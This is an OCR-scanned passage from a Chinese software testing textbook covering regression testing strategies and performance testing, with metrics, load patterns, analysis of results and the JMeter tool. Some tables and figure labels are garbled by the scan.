为 这 时 的 测试 不 一 定 要 进行 全 面 测试 ,从 头 到 尾 测 一 遍 , 而 是 根据 修改 的 情况 进行 有 效 测 试 。 
程序 在 发 现 严重 软件 缺陷 要 进行 修改 或 版 本 升级 要 新 增 功能 ,这 时 需要 对 软件 进行 修改 ,修改 
后 的 程序 要 进行 测试 ,这 时 要 检验 软件 所 进行 的 修改 是 否 正确 ,保证 改动 不 会 带 来 新 的 严重 错 
误 。 这 里 所 说 的 关于 软件 修改 的 正确 性 有 以 下 两 层 含义 。 

(1) 所 做 的 修改 达到 了 预定 的 目的 ,如 错误 得 到 了 改正 ,新 功能 得 到 了 实现 ,能 够 适应 新 


的 运行 环境 等 

(2) 不 影响 软件 原 有 功能 的 正确 性 。 

在 软件 生命 周期 中 的 任何 一 个 阶段 ,只 要 软件 发 生 了 改变 ,就 可 能 给 该 软件 带 来 新 的 问 
题 。 软 件 的 改变 可 能 是 源 于 发 现 了 缺陷 并 做 了 修改 ,也 有 可 能 是 因为 在 集成 或 维护 阶段 加 入 
了 新 的 功能 或 增强 原 有 的 功能 。 当 软件 中 所 含 错误 被 发 现时 ,如 果 错 误 跟 踪 与 管理 系统 不 够 
完善 ,就 可 能 会 遗漏 对 这 些 错误 的 修改 ; 而 开发 者 对 错误 理解 得 不 够 透彻 ,也 可 能 导致 所 做 的 
修改 只 修正 了 错误 的 外 在 表现 ,而 没有 修复 错误 本 身 , 从 而 造成 修改 失败 ; 修改 还 有 可 能 产生 
副作用 从 而 导致 软件 未 被 修改 的 部 分 产生 新 的 问题 ,使 本 来 工作 正常 的 功能 产生 错误 。 同 样 ， 
在 有 新 代码 加 入 软件 的 时 候 , 除 了 新 加 入 的 代码 中 有 可 能 含有 错误 外 ,新 代码 还 有 可 能 对 原 有 
的 代码 带 来 影响 。 因 此 ,每 当 软 件 发 生变 化 时 ,就 必须 重新 测试 现 有 的 功能 ,以 便 确 定 修改 是 
否 达到 了 预期 的 目的 ,检查 修改 是 否 损害 了 原 有 的 正常 功能 。 同 时 ,还 需要 补充 新 的 测试 用 例 
来 测试 新 的 或 被 修改 了 的 功能 。 为 了 验证 修改 的 正确 性 及 其 影响 就 需要 进行 回归 测试 。 

回归 测试 作为 软件 生命 周期 的 一 个 组 成 部 分 ,在 整个 软件 测试 过 程 中 占有 很 大 的 工作 量 
比重 ,软件 开发 的 各 个 阶段 都 可 能 需要 进行 多 次 回归 测试 。 在 渐进 和 快速 迭代 开发 中 ,新 版 本 
的 连续 发 布 使 回归 测试 进行 得 更 加 频繁 ,而 在 极限 编程 (eXtreme Programming,XP) 方 法 中 ， 
更 是 要 求 每 天 都 进行 若干 次 回归 测试 。 因 此 ,通过 选择 正确 的 回归 测试 策略 来 改进 回归 测试 
的 效率 和 有 效 性 是 非常 有 意义 的 。 


6.2.2 策略 及 其 方法 


在 软件 生命 周期 中 ,即使 一 个 得 到 良好 维护 的 测试 用 例 库 也 可 能 变 得 相当 大 ,使 得 每 次 回 
归 测 试 都 重新 运行 完整 的 测试 包 变 得 不 切实 际 ,时 间 和 成 本 约束 也 不 允许 进行 一 个 完全 的 测 
试 ,需要 从 测试 用 例 库 中 选择 有 效 的 测试 用 例 ,构造 一 个 缩减 的 测试 用 例 组 来 完成 回归 测试 。 
回归 测试 可 遵循 下 述 基 本 过 程 进行 。 

(1) 识别 出 软件 中 被 修改 的 部 分 。 

(2) 从 原 基线 测试 用 例 库 工 中 ,排除 所 有 不 再 适用 的 测试 用 例 ,确定 那些 对 新 的 软件 版 本 
依然 有 效 的 测试 用 例 ,其 结果 是 建立 一 个 新 的 基线 测试 用 例 库 T0。 

(3) 依据 一 定 的 策略 从 To 中 选择 测试 用 例 测试 被 修改 的 软件 。 

(4) 如 果 回归 测试 包 不 能 达到 所 需 的 覆盖 要 求 ,必须 补充 新 的 测试 用 例 使 覆盖 率 达 到 规 
定 的 要 求 , 生 成 新 的 测试 用 例 集 T1 ,用 于 测试 To 无 法 充分 测试 的 软件 部 分 。 

(5) 用 T1 执行 修改 后 的 软件 。 

第 (2) 和 第 (3) 步 测试 验证 修改 是 否 破坏 了 现 有 的 功能 .第 (4) 和 第 (5) 步 测试 验证 修改 工 
作 本 身 。 

回归 测试 的 价值 在 于 它 是 一 个 能 够 检测 到 回归 错误 的 受 控 实验 。 当 测试 组 选择 缩减 的 回 
归 测 试 时 ,有 可 能 忽略 了 那些 将 揭示 回归 错误 的 测试 用 例 ,而 错失 了 发 现 回归 错 误 的 机 会 。 然 
而 ,如 果 采 用 了 代码 相依 性 分 析 等 安全 的 缩减 技术 ,就 可 以 决定 哪些 测试 用 例 可 以 被 删除 而 不 
会 影响 回归 测试 的 结果 。 选 择 回归 测试 策略 应 该 兼顾 效率 和 有 效 性 两 个 方面 ,下 面 有 几 种 方 
法 ,在 效率 和 有 效 性 方面 的 侧重 点 是 不 同 的 。 

(1) 再 测试 全 部 用 例 。 选 择 测试 用 例 库 中 的 全 部 测试 用 例 构 成 回归 测试 包 , 这 是 一 种 比 
较 安 全 的 方法 ,具有 最 低 的 遗漏 回归 错误 的 风险 ,但 测试 成 本 最 高 。 再 测试 全 部 用 例 几乎 可 以 
应 用 到 任何 情况 下 ,基本 上 不 需要 进行 用 例 分 析 和 设计 ,但 是 随 着 开发 工作 的 进展 ,测试 用 例 


不 断 增多 而 带 来 相当 大 的 工作 量 , 受 预算 和 进度 的 限制 。 

(2) 基于 风险 选择 测试 。 基 于 一 定 的 风险 标准 来 从 测试 用 例 库 中 选择 回归 测试 用 例 。 根 
据 哪 些 功能 被 修改 部 分 影响 的 可 能 性 来 选择 测试 用 例 , 可 能 性 越 大 , 越 要 优先 选择 。 

(3) 基于 操作 剖面 选择 测试 。 如 果 测 试用 例 是 基于 软件 操作 剖面 开发 的 ,测试 用 例 的 分 
布 情况 反映 了 系统 的 实际 使 用 情况 。 回 归 测 试 可 以 优先 选择 那些 针对 重要 功能 或 用 户 频繁 使 
用 功能 的 测试 用 例 ,释放 和 缓解 最 高 级 别 的 风险 ,有 助 于 尽早 发 现 那些 对 可 靠 性 有 最 大 影响 的 
故障 。 

(4) 再 测试 修改 的 部 分 。 当 测试 者 对 修改 的 局 部 有 足够 的 信心 时 ,可 以 通过 相依 性 分 析 
识别 软件 的 修改 情况 并 分 析 修改 的 影响 ,将 回归 测试 局 限于 被 改变 的 模块 和 它 的 接口 上 。 通 
常 ,一 个 回归 错误 一 定 涉及 被 修改 的 或 新 加 的 代码 。 在 允许 的 条 件 下 ,回归 测试 尽 可 能 覆盖 受 
到 影响 的 部 分 。 这 种 策略 效率 最 高 ,风险 也 最 大 ,需要 良好 的 经 验 和 深入 的 代码 分 析 。 

综合 运用 多 种 测试 技术 是 常见 的 ,在 回归 测试 中 也 不 例外 ,测试 者 也 可 能 希望 采用 多 于 一 
种 回归 测试 策略 来 增强 对 测试 结果 的 信心 。 最 常见 的 回归 测试 策略 是 将 上 述 第 (2) 和 第 (3) 种 
结合 起 来 。 

回归 测试 往往 是 重复 性 的 工作 ,而 且 之 前 已 执行 过 ,回归 测试 也 是 比较 明确 的 ,所 以 一 般 
适合 自动 化 测试 。 前 面 所 谈 到 的 功能 测试 工具 主要 适合 回归 测试 。 


6.3 性 能 测试 


对 于 那些 实时 和 嵌入 式 系统 ,软件 部 分 即使 满足 功能 要 求 , 也 未 必 能 够 满足 用 户 的 期 望 ， 
如 某 个 网 站 可 以 被 访问 ,而 且 可 以 提供 预先 设 定 的 功能 ,但 每 打开 一 个 页 面 都 需要 一 两 分 钟 ， 
用 户 不 可 忍受 其 结果 ,也 就 没有 用 户 愿 意 使 用 这 个 网 站 所 提供 的 服务 。 虽 然 从 单元 测试 起 ,每 
一 测试 阶段 都 包含 性 能 测试 ,但 只 有 当 系 统 真 正 集成 之 后 ,在 真实 环境 中 才能 全 面 、. 可 靠 地 测 
试 系统 性 能 ,系统 性 能 测试 就 是 为 了 完成 这 一 任务 。 

性 能 测试 (Performance Test) 就 是 为 了 发 现 系 统 性 能 问题 或 获取 系统 性 能 相关 指标 (如 
运行 速度 、 响 应 时 间 ,资源 使 用 率 等 ) 而 进行 的 测试 。 一 般 在 真实 环境 、 特 定 负载 条 件 下 ,通过 
工具 模拟 实际 软件 系统 的 运行 及 其 操作 ,同时 监控 性 能 各 项 指标 ,最 后 对 测试 结果 进行 分 析 来 
确定 系统 的 性 能 状况 ,整个 过 程 就 是 性 能 测试 。 


6.3.1 系统 性 能 指标 和 测试 类 型 


系统 的 性 能 指标 包括 两 方面 的 内 容 一 一 系统 资源 (CPU、 内 存 等 ) 的 使 用 率 和 系统 行为 表 
现 。 资 源 使 用 率 越 低 ,一 般 来 说 系统 会 有 更 好 的 性 能 表现 ,系统 资源 使 用 率 很 高 甚至 耗 光 , 系 
统 的 性 能 肯定 不 会 好 。 资 源 利 用 率 是 分 析 系 统 性 能 指标 进而 改善 性 能 的 主要 依据 。 系 统 行为 
的 性 能 指标 很 多 (如 表 6-5 所 示 ) ,常见 的 有 以 下 几 个 。 

(1) 请 求 响应 时 间 : 客户 端 浏 览 器 向 Web 服务 器 提交 一 个 请 求 到 收 到 响应 之 间 的 间隔 时 
间 。 有 些 测试 工具 将 请 求 响 应 时 间 表示 为 TTLB(Time To Last Byte) ,解释 成 : 从 发 起 一 个 
请 求 开始 到 客户 端 接收 到 最 后 一 个 字 节 所 耗费 的 时 间 。 

(2) 事务 响应 时 间 : 事务 可 能 由 一 系列 请 求 组 成 ,事务 的 响应 时 间 就 是 这 些 请 求 完 成 处 
理 所 花 费 的 时 间 。 它 是 针对 用 户 的 业务 而 设置 的 ,容易 被 用 户 理解 。 

(3) 数据 吞吐 量 : 单位 时 间 内 容 户 端 和 服务 器 之 间 网 络 上 传输 的 数据 量 , 对 于 Web 服务 


器 ,数据 吞吐 量 可 以 理解 为 单位 时 间 内 Web 服务 器 成 功 处 理 的 HTTP 页 面 或 HTTP 请 求 
数量 。 
表 6-5 负载 监控 的 各 项 指标 


性 能 测试 工具 给 出 的 指标 常用 的 性 能 指标 
Pt 。 负载 数据 量 (Load Size) 
口 加 。 连接 时 间 (Connect Time) 
口 srerege 。 发 送 时 间 (Sent Time) 
口 Current value 
图 口 Transactions Per Second 。 处 理 时间 (Process Time) 
图 口 successful T tions Per Second 
ee 一 办 来 四 时 间 (Round Tine) 
图 口 Rounds Per Second 。 平 均 事务 响应 时 间 
DO Successful Rounds Per Second 
$F Rounds par Seeond ， 每 秒 事务 总 数 
WD Throughput (Bytes Per Second) 。 每 秒 单 击 次 数 图 
口 he Data Si 
matioe 。 每 秒 HTTP 响应 数 
I 口 Transaction Tine 。 每 秒 下 载 页 面 数 
WD Connect Tine 
WD Send Tine 。 每 秒 重 试 次 数 
WH DOD Response Tine 
由 口 Process Tine 。 连接 数 
HD Rounds 。 每 秒 连 接 数 
W 口 Successful Rounds 
由 口 Failed Rounds 。 每 秒 SSL 连接 数 
WD Trensections | 
HD Successful Transactions 页 面 下 载 时 间 
由 口 Failed Transactions 。 第 一 次 缓冲 时 间 
WD Attenpted Connections 和 
由 - 口 Sacoesstid Ceametltms 已 下 载 组 件 大 小 
HD Failed Connections 
HD Responses 


针对 具体 的 应 用 系统 ,性 能 指标 应 尽量 明确 ,也 就 是 明确 性 能 测试 需求 。 例 如 ,系统 要 求 
在 正常 使 用 情况 下 其 响应 时 间 为 3 一 5s, 即 使 在 使 用 高 峰 期 (如 上 下 班 时 间 ) 系 统 的 响应 时 间 
也 不 应 超过 15s, 这 就 意味 至 少 要 进行 两 种 场景 一 一 平均 负载 和 高 峰 负载 的 性 能 测试 。 在 对 
实际 系统 进行 性 能 测试 时 ,往往 会 结合 其 关键 业务 考虑 其 关键 性 能 测试 需求 。 例 如 ,针对 在 线 
日 历 软件 ,一 些 典 型 应 用 场景 : 

(1) 多 人 同时 登录 (并 发 用 户 活动 ) ,设置 活动 时 ,页 面 的 响应 速度 要 在 3s 之 内 。 

(2) 通过 页 面 进行 搜索 时 ,查询 时 间 应 控制 在 5s 以 内 。 

(3) 设置 共享 时 、 用 户 更 新 活动 信息 时 ,是 否 能 快速 同步 , 即 在 另 一 共享 好 友 处 即刻 显示 
更 新 过 的 信息 。 

(4) 当 活 动 / 事 件 达 到 一 定数 量 (200 一 1000) 时 ,页 面 响应 速度 要 在 5s 之 内 。 

(5) 当 循环 会 议 较 多 时 ,页 面 的 处 理 速 度 正 常 (5s 之 内 ) 。 

性 能 测试 可 以 简单 地 看 作 是 为 了 发 现 性 能 问题 或 性 能 瓶颈 而 进行 的 测试 ,性 能 问题 在 系 
统 内 部 表现 为 资源 使 用 耗 尽 或 使 用 率 过 高 ,在 外 部 表现 为 系统 响应 很 慢 。 系 统 性 能 问题 一 般 
可 以 分 为 下 列 三 类 问题 。 

(1) 资源 耗 尽 ,如 CPU 使 用 率 达 到 100%。 

(2) 资源 泄漏 ,如 内 存 泄漏 ,最 终 会 导致 资源 耗 尽 。 

(3) 资源 瓶颈 ,如 线程 .GDI.DB 连接 等 资源 变 得 稀缺 。 

但 性 能 测试 不 仅 是 为 了 发 现 问题 而 进行 测试 ,而 且 也 可 以 是 为 了 获得 性 能 指标 而 进行 测 


试 。 性 能 测试 ,根据 其 不 同 的 测试 目的 分 为 以 下 几 类 。 

(1) 性 能 验证 测试 ,验证 系统 是 否 达 到 事先 已 定义 的 系统 性 能 指标 、 能 否 满足 系统 的 性 能 
需求 。 这 种 测试 的 前 提 是 事先 能 够 明确 系统 的 性 能 指标 。 

(2) 性 能 基准 测试 ,在 系统 标准 配置 下 获得 有 关 的 性 能 指标 数据 ,作为 将 来 性 能 改进 的 基 
准 线 。 开 发 一 个 全 新 的 系统 时 ,可 能 无 法 确定 系统 的 性 能 指标 ,这 种 情况 下 需要 获得 产品 第 一 
个 版 本 的 性 能 指标 ,之 后 的 版 本 就 可 以 根据 第 一 个 版 本 的 数据 提出 具体 改进 的 指标 。 

(3) 性 能 规划 测试 ,在 多 种 特定 的 环境 下 ,获得 不 同 配置 的 系统 的 性 能 指标 ,从 而 决定 在 
系统 部 署 时 采用 什么 样 的 软 、 硬 件 配 置 。 现 在 处 在 软件 即 服务 (Software as a Service, SaaS) 
时 代 , 系 统 最 终 要 部 署 在 数据 中 心 ,需要 获得 能 够 满足 性 能 要 求 的 系统 配置 信息 。 通 过 提高 系 
统 的 配置 水 准 ,可 以 提高 系统 性 能 ,直到 满足 实际 运行 的 需求 。 

(4) 容量 测试 可 以 看 作 性 能 测试 的 一 种 ,因为 系统 的 容量 可 以 看 作 是 系统 性 能 指标 之 一 。 

有 时 ,人 们 习惯 于 将 压力 测试 .负载 测试 等 也 归 为 性 能 测试 。 压 力 测试 是 长 时 间 的 高 负载 
测试 ,虽然 可 以 发 现 性 能 问题 ,但 更 多 是 为 了 进行 系统 的 稳定 性 或 可 靠 性 测试 。 负 载 测试 可 以 
看 作 是 一 种 测试 手段 或 方法 ,应 用 于 性 能 测试 ,稳定 性 (健壮 性 ?测试 之 中 。 在 性 能 测试 中 ,不 
仅 采 用 负载 测试 的 方式 ,而 且 有 更 丰富 的 手段 , 即 常 说 的 渗入 测试 和 峰 谷 测试 。 

(1) 渗入 测试 是 长 时 间 ( 如 8h、24h、72h 等 ) 运 行 的 负载 测试 (压力 测试 ) ,使 用 固定 数量 的 
并 发 用 户 ( 即 系统 负载 ) 测 试 系统 的 健壮 性 。 这 些 测试 可 能 会 暴露 最 终 导致 任何 性 能 降低 的 各 
种 问题 ,如 内 存 泄漏 垃圾 回收 不 断 增 加 或 其 他 问题 。 测 试 环境 要 逼近 实际 运行 环境 ,并 借助 
工具 监控 系统 的 资源 使 用 情况 。 

(2) 峰 谷 测试 是 为 了 更 快 地 发 现 资源 泄漏 问题 ,采用 负载 忽 高 忽 低 的 方式 进行 测试 , 即 从 
高 负载 (例如 系统 高 峰 时 间 的 负载 ) 开 始 、 转 为 几乎 空闲 ,然后 再 攀升 到 高 负载 ,再 降低 负载 ,多 
次 反复 ,从 而 发 现 系统 的 资源 使 用 和 释放 是 否 正常 。 峰 谷 测试 兼 有 容量 规划 ramp-up 类 型 测 
试 和 渗入 测试 的 特征 。 


6.3.2 系统 负载 及 其 模式 


系统 负载 可 以 看 作 是 “并 发 用 户 并 发 数量 十 思考 时 间 十 每 次 请 求 发 送 的 数据 量 十 负载 模 
式 ”, 那 么 什么 是 用 户 并 发 数量 .思考 时 间 和 负载 模式 呢 ? 通过 以 下 概念 ,就 比较 容易 理解 。 

(1) 在 线 用 户 : 通过 浏览 器 访问 登录 Web 应 用 系统 后 并 且 还 没有 退出 该 应 用 系统 的 
户 。 通 常 一 个 Web 应 用 服务 器 的 在 线 用 户 对 应 Web 应 用 服务 器 的 一 个 Session。 

(2) 虚拟 用 户 : 模拟 浏览 器 向 Web 服务 器 发 送 请 求 并 接收 响应 的 一 个 进程 或 线程 。 

(3) 并 发 用 户 : 严格 意义 上 说 ,这 些 用 户 在 同一 时 刻 做 同一 件 事情 或 同样 的 操作 ,比如 在 
同一 时 刻 登 录 系 统 、 提 交 订 单 等 。 不 严格 地 说 ,并 发 用 户 同 时 在 线 并 操作 系统 ,但 可 以 是 不 相 
同 的 操作 ,这 种 并 发 更 接近 用 户 的 实际 使 用 情况 。 在 性 能 测试 中 ,一般 采用 严格 意义 上 的 并 发 
用 户 ,因为 同时 模拟 多 个 用 户 运行 一 套 脚本 ,这 更 容易 实现 。 如 果 从 虚拟 用 户 或 逻辑 上 理解 ， 
并 发 用 户 可 以 理解 为 Web 服务 器 在 一 段 时 间 内 为 处 理 浏 览 器 请 求 而 建立 的 HTTP 连接 数 或 
生成 的 处 理 线程 数 。 

(4) 用 户 并 发 数量 : 就 是 上 述 并 发 用 户 的 数量 ,可 以 近似 于 同时 在 线 用 户 数量 ,但 不 一 定 
等 于 在 线 用 户 的 数量 ,因为 有 些 在 线 用 户 不 进行 操作 ,或 前 后 操作 之 间 的 间隔 时 间 很 长 。 

(5) 思考 时 间 : 浏览 器 在 收 到 响应 后 到 提交 下 一 个 请 求 之 间 的 间隔 时 间 。 通 过 思考 时 间 
可 以 模拟 实际 用 户 的 操作 :思考 时 间 越 短 , 服 务 器 就 承受 更 大 的 负载 。 当 所 有 在 线 用 户 发 送 


HTTP 请 求 的 思考 时 间 为 零 时 , Web 服务 器 的 并 发 用 户 数 等 于 在 线 用 户 数 。 

(6) 负载 模式 就 是 加 载 的 方式 ,例如 是 一 次 建立 200 个 并 发 连接 ,还 是 每 秒 10 个 连接 逐 
渐 增 加 连接 数 ,直至 200 个 。 还 有 其 他 的 加 载 方式 ,如 逐步 加 载 ,平均 加 载 、. 随 机 加 载 . 峰 谷 交 
蔡 加 载 等 方式 ,如 图 6-6 所 示 。 


用 户 数量 人 用户 数量 
时 间 时 间 
一 次 加 载 方式 递增 加 载 方式 
| 用 户 数量 用 户 数量 
时 间 时 间 
高 低 突 变 加 载 方式 随机 加 载 方式 


6-6 系统 负载 模式 


6.3.3 性 能 测试 的 基本 过 程 


系统 性 能 测试 过 程 是 一 个 持续 的 测试 和 优化 过 程 , 即 先进 行 性 能 测试 ,发 现 问题 ,试图 处 
理 问 题 以 提高 系统 的 性 能 ,再 进行 性 能 测试 .再 优化 ,直到 达到 满意 的 结果 。 而 就 一 个 具体 的 
性 能 测试 过 程 ,可 以 按照 下 列 步 骤 执 行 ( 见 图 6-7) 。 


I 
阶段 阶段 2 阶段 。 阶段 | 、 阶段 5 
Ty》 > > 执行 场景 分 析 测 试 结果 >( 下 绩 作 
t 


6-7 性 能 测试 过 程 图 


(1) 确定 性 能 测试 需求 ,包括 确定 哪些 性 能 指标 要 度量 的 ,以 及 系统 会 承受 哪些 负载 。 性 
能 指标 参考 6. 3. 1 节 , 负 载 参考 6. 3. 2 节 , 其 中 还 要 确定 系统 最 大 负载 和 关键 业务 。 一 般 来 
说 ,在 某 些 关键 业务 操作 情况 下 ,系统 的 性 能 问题 更 容易 出 现 。 这 些 关 键 业务 场景 的 确定 可 以 
看 作 性 能 测试 的 测试 用 例 设计 。 如 果 这 些 测 试用 例 通过 了 ,也 就 说 明 这 个 系统 的 负载 测试 通 
过 了 5 

(2) 根据 测试 需求 ,选择 测试 工具 和 开发 相应 的 测试 脚本 。 一 般 针对 选 定 的 关键 业务 操 
作 来 开发 相应 的 自动 化 测试 脚本 ,并 进行 测试 脚本 的 数据 关联 (如 建立 客户 端 请 求 和 系统 响应 


指标 之 间 的 关联 ) 和 参数 化 (把 脚本 中 的 某 些 请 求 数据 替换 成 变量 ) 。 

(3) 建立 性 能 测试 负载 模型 ,就 是 确定 并 发 虚拟 用 户 的 数量 、 每 次 请 求 的 数据 量 、 思 考 时 
间 加 载 方式 和 持续 加 载 的 时 间 等 。 设 计 负载 模型 通常 不 会 一 次 设计 到 位 ,是 一 个 不 断 迭 代 完 
善 的 过 程 , 即 使 在 执行 过 程 中 ,也 不 是 完全 按照 设计 好 的 测试 用 例 来 执行 ,需要 根据 需求 的 变 
化 进行 调整 和 修改 。 

(4) 执行 性 能 测试 。 通 过 多 次 运行 性 能 测试 负载 模型 ,获得 系统 的 性 能 数据 。 一 般 要 借 
助 工具 对 系统 资源 进行 监控 和 分 析 , 帮 助 发 现 性 能 瓶颈 ,定位 应 用 代码 中 的 性 能 问题 ,切实 解 
决 系统 的 性 能 问题 或 在 系统 层面 进行 优化 。 

(5) 提交 性 能 测试 报告 ,包括 性 能 测试 方法 、 负 载 模型 和 实际 执行 的 性 能 测试 ,性 能 测试 
结果 及 其 分 析 等 。 


6.3.4 性 能 测试 结果 分 析 


在 测试 过 程 中 ,要 善于 捕捉 被 监控 的 数据 曲线 发 生 突变 的 地 方 一 一 抛 点 ,这 一 点 就 是 饱和 
点 或 性 能 瓶颈 。 例 如 ,以 数据 吞吐 量 为 例 , 刚 开始 ,系统 有 足够 的 空闲 线程 去 处 理 增加 的 负载 ， 
所 以 吞吐 量 以 稳定 的 速度 增长 ,然后 在 某 一 个 点 上 稳定 下 来 , 即 系统 达到 饱和 点 。 在 达到 饱和 
点 后 ,所 有 的 线程 都 已 投入 使 用 ,传人 的 请 求 不 再 被 立即 处 理 , 而 是 放 入 队列 中 ,新 的 请 求 不 能 
及 时 被 处 理 。 因 为 系统 处 理 的 能 力 是 一 定 的 ,如 果 继 续 增 加 负载 ,执行 队列 开始 增长 ,系统 的 
响应 时 间 也 随 之 延长 。 当 服务 器 的 吞吐 量 保持 稳定 时 ,就 表示 达到 了 给 定 条 件 下 的 系统 上 限 。 
这 个 结果 ,可 以 通过 图 6-8 给 出 清晰 的 描述 。 


i 
从 负载 -并 发 用 户 


拐点 (饱和 点 ) 


数据 香 吐 量 ,一 


系统 相应 时 间 


时 间 


图 6-8 ”系统 吞吐 量 、 响 应 时 间 随 负载 增加 的 变化 过 程 示意 图 


如 果 继 续 加 大 负载 ,系统 响应 时 间 可 能 会 发 生 突变 , 即 执行 队列 排 得 过 长 ,无 法 处 理 , 服 务 
器 接近 死机 或 崩 浊 ,响应 时 间 就 变 得 很 长 或 无 限 长 。 但 这 种 极限 点 有 参考 价值 ,可 帮助 改进 设 
计 和 系统 部 署 ,但 不 应 该 作为 正常 的 控制 点 。 正 常 的 控制 点 ,应 该 是 饱和 点 。 

分 析 负 载 测试 中 系统 容易 出 现 瓶 颈 的 地 方 ,从 而 有 目的 地 调整 测试 策略 或 测试 环境 ,使 压 
力 测试 结果 真实 地 反映 出 软件 的 性 能 。 例 如 ,服务 器 的 硬件 限制 ,数据库 的 访问 性 能 设置 等 常 
常会 成 为 制约 软件 性 能 的 重要 因素 。 对 于 Web 服务 器 的 测试 ,可 以 重点 分 析 以 下 三 项 参数 。 

(1) 页 面 性 能 报告 显示 每 个 页 面 的 平均 响应 时 间 。 

(2) 响应 时 间 总 结 报 告 (Response vs，Time Summary) 显 示 所 有 页 面 和 页 面 元 素 的 平均 
响应 时 间 在 测试 运行 过 程 中 的 变化 情况 。 

(3) 响应 时 间 详 细 报 告 (Response vs.Time Detail) 即 详细 显示 每 个 页 面 的 响应 时 间 在 测 


试 运行 过 程 中 的 变化 情况 。 
6.3.5 JMeter 及 系统 性 能 测试 工具 


对 于 数据 库 、.Web 访问 、 视 频 点 播 等 各 种 应 用 系统 ,通过 单元 测试 、 集 成 测试 ,功能 测试 之 
后 ,用 户 还 常会 有 些 疑 问 , 如 这 套 系统 能 不 能 承受 大 量 的 并 发 用 户 同 时 访问 ? 到 底 能 承受 多 少 
个 用 户 同时 访问 而 没有 问题 ?如 果 同 时 有 一 万 个 用 户 在 10min 内 访问 服务 器 会 不 会 导致 服 
务 器 崩溃 ? 如 果 数 据 库 中 有 100 万 条 记录 ,这 时 用 户 的 操作 是 不 是 像 蜗 牛 候 行 那样 慢 ? 要 回 
答 这 些 疑 问 ,就 要 借助 于 性 能 测试 获得 相关 数据 ,而 性 能 测试 通过 手工 模拟 是 难以 完成 的 ,而 
是 要 通过 负载 测试 工具 来 完成 。 

JMeter(https://jmeter. apache. org) 是 开源 的 性 能 测试 工具 的 代表 ,最 早 是 为 了 完成 
Tomcat 的 前 身 Jserv 的 性 能 测试 而 诞生 的 。 随 着 J2EE 应 用 的 不 断 发 展 , 其 功能 不 再 局 限于 
Web 服务 器 的 性 能 测试 ,还 涵盖 了 数据 库 .FTP、LDAP 服务 器 等 各 种 性 能 测试 ,以 及 可 以 和 
JUnit、Ant 等 工具 的 集成 应 用 。 它 可 以 针对 服务 器 .网 络 或 其 他 被 测试 对 象 等 模拟 大 量 并 发 
负载 来 进行 强度 测试 ,并 分 析 不 同 压 力 负载 下 的 系统 整体 性 能 ,包括 性 能 的 图 形 分 析 、 产 生 相 
应 的 统计 报表 ,包括 各 个 URL 请 求 的 数量 ,平均 响应 时 间 、 最 小 /大 响应 时 间 、 错 误 率 等 。 

JMeter 内 部 实现 了 线程 机 制 (线程 组 ) ,如 图 6-9 所 示 , 用 户 不 用 为 并 发 负载 的 过 程 编 写 
代码 ,只 需 做 简单 配置 即 可 。 同 时 ,JMeter 也 提供 了 丰富 的 逻辑 控制 器 ,控制 线程 的 运行 。 


文件 “编辑 Search 运行 选项 “帮助 
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6-9 JMeter 线程 组 及 其 设置 界面 


1. JMeter 主要 构成 组 件 


(1) 测试 计划 (Test Plan) 作 为 JMeter 测试 元 件 的 容器 ,是 使 用 JMeter 进行 测试 的 起 点 。 

(2) 线程 组 (Thread Group) 代 表 一 定数 量 的 并 发 用 户 ,用 来 模拟 并 发 用 户 发 送 请 求 。 实 
际 的 请 求 内 容 是 在 采样 器 (Sampler) 中 定义 。 

(3) 逻辑 控制 器 (Logic Controller) 可 以 自 定义 JMeter 发 送 请 求 的 行为 逻辑 , 它 与 
Sampler 结合 使 用 可 以 模拟 复杂 的 请 求 序列 。 

(4) 采样 器 (Sampler) 定 义 包 括 FTP.HTTP、SOAP、LDAP、TCP、JUnit、Java 等 各 类 请 
求 。 如 HTTP 请 求 默认 值 负责 记录 请 求 的 服务 器 ,协议 .端口 等 参数 值 。 


(5) 配置 单元 (Config Element) 维 护 采 样 器 需要 的 配置 信息 ,并 根据 实际 的 需要 来 修改 请 
求 的 内 容 。 配 置 单元 包括 登录 配置 单元 、 简 单 配置 单元 .FTP/HTTP 配置 单元 等 。 

(6) 定时 器 (Timer) 负 责 定义 请 求 之 间 的 延迟 间隔 。 

(7) 断言 (Assertions) 可 以 用 来 判断 请 求 响应 的 结果 是 否 如 用 户 所 期 望 的 。 它 可 以 用 来 
隔离 问题 域 , 即 在 确保 功能 正确 的 前 提 下 执行 压力 测试 。 这 个 限制 对 于 有 效 的 测试 是 非常 有 
用 的 。 

(8) 监听 器 (Listener) 负 责 收集 测试 结果 ,并 可 以 设置 所 需 的 、 特 定 的 结果 显示 方式 。 

(9) 前 置 处 理 器 (Pre Processors) 和 后 置 处 理 器 (Post Processors) 负 责 在 生成 请 求 之 前 和 
之 后 完成 工作 。 前 置 处 理 器 常常 用 来 修改 请 求 的 设置 ,后 置 处 理 器 则 常常 用 来 处 理 响应 的 
数据 。 

2. 如 何 使 用 JMeter 进行 性 能 测试 

使 用 JMeter 进行 性 能 测试 ,其 操作 相对 简单 。 如 以 Web 服务 器 的 性 能 测试 为 例 , 按 下 列 
5 个 步骤 进行 操作 就 基本 能 完成 测试 任务 。 

(1) 在 JMeter 里 增加 一 个 线程 组 、 一 个 简单 控制 器 、 一 个 Cookie 管理 器 、 一 个 综合 图 形 
器 (Aggregate Graph) 和 若干 个 HTTP 请 求 。 

(2) 在 线程 组 中 定义 线程 数 .产生 线程 发 生 的 时 间 和 测试 循环 次 数 。 

(3) 在 HTTP 请 求 中 定义 服务 器 .端口 ,协议 和 方法 .请 求 路 径 等 。 

(4) 配置 用 户 登录 信息 ,进行 安全 设置 ,如 完成 “Http URL 重 写 修饰 符 ”或 “Http Cookie 
管理 器 "的 有 关 配 置 。 有 时 ,还 需要 增加 响应 断言 或 HTML 断言 ,确定 系统 是 否 做 出 正确 的 
响应 .用户 登录 是 否 成 功 等 。 

(5) 添加 “图 形 结果 、 表 格 查 看 结果 ”等 监听 器 ,负责 收集 和 显示 性 能 测试 结果 。 

对 于 一 些 数 据 加 密 传送 的 应 用 ,需要 增加 Access Log Sampler 采样 器 ,在 此 之 前 ,要 获得 
被 测试 应 用 的 相关 Log 数据 。 如 果 要 监听 被 测试 服务 器 的 系统 资源 (内 存 .CPU 等 ), 需 要 增 
加 一 个 “监视 器 结果 ”监听 器 。 要 获得 被 测试 服务 器 的 系统 资源 数据 ,一 般 需要 登录 服务 器 ,所 
以 这 时 需要 在 配置 元 件 中 增加 一 个 “HTTP 授权 管理 器 授权 ”, 添 加 相应 的 配置 记录 ,使 
JMeter 可 以 访问 被 测试 服务 器 。 

3. 其 他 开源 的 性 能 测试 工具 

